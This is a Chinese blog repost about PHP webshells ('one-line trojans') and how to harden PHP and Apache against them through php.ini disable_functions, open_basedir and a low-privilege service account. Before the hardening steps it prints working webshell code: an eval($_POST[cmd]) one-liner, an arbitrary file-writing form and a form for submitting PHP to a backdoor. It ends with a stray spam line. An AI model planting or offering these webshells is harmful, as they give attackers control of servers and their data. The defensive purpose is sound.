< 文章詳情

PHP一句話木馬安全設置教程

2019/7/26 583次
執行POST來的cmd參數語句,別人可以以任何內容提交,這個程序把提交的數據當PHP語句執行,利用這個功能可以查看甚至修改你的數據庫數據和文件。使用的方法可以隨便編寫一個HTML來完成,例如:


<form method=post action=http://....../你的名字.php>
<textarea name=cmd>
//這里面寫PHP程序,隨便連接數據和修改文件都可以,當然也可以用下面的語句查看你的PHP源文件來獲取數據庫路徑和密碼
$str=file_get_content('xxx.php');
$str=str_replace('<','&lt;',$str);
echo "<pre>$str</pre>"
</textarea>
<input type=submit>
</form>


全世界最小的php網頁木馬一枚 附PHP木馬的防范方法
php網頁木馬代碼,大家可以看下自己的網站里面是不是有這樣的代碼,注意網站安全用mcafee限制w3wp.exe生成php或者asp文件。并在php.ini中設置一下。

php網頁木馬

<?php
header("content-Type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
?>
<form method="POST">
保存文件名: <input type="text" name="file" size="60" value="<? echo str_replace('\\','/',__FILE__) ?>">
<br><br>
<textarea name="text" COLS="70" ROWS="18" ></textarea>
<br><br>
<input type="submit" name="submit" value="保存">
<form>
<?php
if(isset($_POST['file']))
{
$fp = @fopen($_POST['file'],'wb');
echo @fwrite($fp,$_POST['text']) ? '保存成功!' : '保存失敗!';
@fclose($fp);
}
?>

一句話php木馬
<?php eval($_POST[cmd]);?>

PHP木馬的防范方法
PHP是能讓你生成動態網頁的工具之一。PHP網頁文件被當作一般HTML網頁文件來處理并且在編輯時你可以用編輯HTML的常規方法編寫PHP。
PHP代表,超文本預處理器(PHP: Hypertext Preprocessor),可以從PHP官方站點(http://www.php.net)自由下載。PHP遵守GNU公共許可(GPL),在這一許可下誕生了許多流行的軟件諸如Linux和Emacs。PHP在大多數Unix平臺,GUN/Linux和微軟Windows平臺上均可以運行。怎樣在Windows環境的PC機器或Unix機器上安裝PHP的資料可以在PHP官方站點上找到。安裝過程很簡單。
PHP的另一好處就在于他的安全性,隨著現在互聯網的發展,網絡安全越來越受重視,PHP的誕生幾乎代替了ASP,因為PHP對于安全方面的設置是極為簡單的不像ASP那樣需要很多的步驟,和禁用很多的服務。不過再好的東西也始終會有不足,如果默認設置的PHP同意也是不堪一擊,因此本文就來講一下如何對PHP進行一些安全方面的配置,來防止腳本木馬的破壞。
一、防止php木馬執行webshell
打開safe_mode, 在,php.ini中設置 disable_functions= passthru,exec,shell_exec,system 二者選一即可,也可都選。
二、防止跳出web目錄
首先修改httpd.conf,如果你只允許你的php腳本程序在web目錄里操作,還可以修改httpd.conf文件限制php的操作路徑。比如你的web目錄是/usr/local/apache/htdocs,那么在httpd.conf里加上這么幾行: php_admin_value open_basedir /usr/local/apache/htdocs ,如果腳本要讀取/usr/local/apache/htdocs以外的文件將不會被允許,如果錯誤顯示打開的話會提示這樣的錯誤: Warning: open_basedir restriction in effect. File is in wrong directory in /usr/local/apache/htdocs/open.php on line 4 等等。
三、防止php木馬讀寫文件目錄
在php.ini中的 disable_functions= passthru,exec,shell_exec,system 后面加上php處理文件的函數,主要有 fopen,mkdir,rmdir,chmod,unlink,dir,fopen,fread,fclose,fwrite,file_exists,closedir,is_dir,readdir.opendir,fileperms.copy,unlink,delfile 。即成為 disable_functions= passthru,exec,shell_exec,system,fopen,mkdir,rmdir,chmod,unlink,dir ,fopen,fread,fclose,fwrite,file_exists ,closedir,is_dir,readdir.opendir ,fileperms.copy,unlink,delfile 。
ok,大功告成,php木馬拿我們沒轍了,遺憾的是這樣的話,利用文本數據庫的那些東西就都不能用了。 如果是在windos平臺下搭建的apache還需要注意一點,apache默認運行是system權限,必須給apache降降權限,如下:
net user apache f**kmicrosoft /add
net localgroup users apache /del
此時建立了一個不屬于任何組的用戶apche,只要打開計算機管理器-服務-apache服務的屬性-log on-this account,在這里填入上面所建立的賬戶和密碼,重啟apache服務即可實現apache運行在低權限下。
總結:實際上還可以通過設置各個文件夾的權限,給每一個目錄建立一個單獨能讀寫的用戶,來實現安全。當前很多虛擬主機提供商的流行配置方法,不過這種方法用于防止這里就顯的有點大材小用了。只要我們管理員有安全意識,相對的禁閉不用的功能就可以保證網絡安全的威脅。
---------------------
原文:https://blog.csdn.net/senlin1202/article/details/50800071
优信彩票网平台怎么样